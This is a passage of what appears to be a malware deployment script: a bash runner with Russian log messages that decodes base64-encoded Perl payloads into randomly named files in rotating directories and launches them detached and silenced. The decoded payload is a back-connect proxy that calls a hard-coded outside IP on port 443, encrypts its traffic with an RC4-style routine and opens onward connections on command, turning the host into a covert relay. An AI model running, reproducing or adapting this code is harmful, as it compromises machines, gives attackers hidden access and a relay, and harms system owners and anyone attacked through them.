ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #62 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #62 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 63 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy 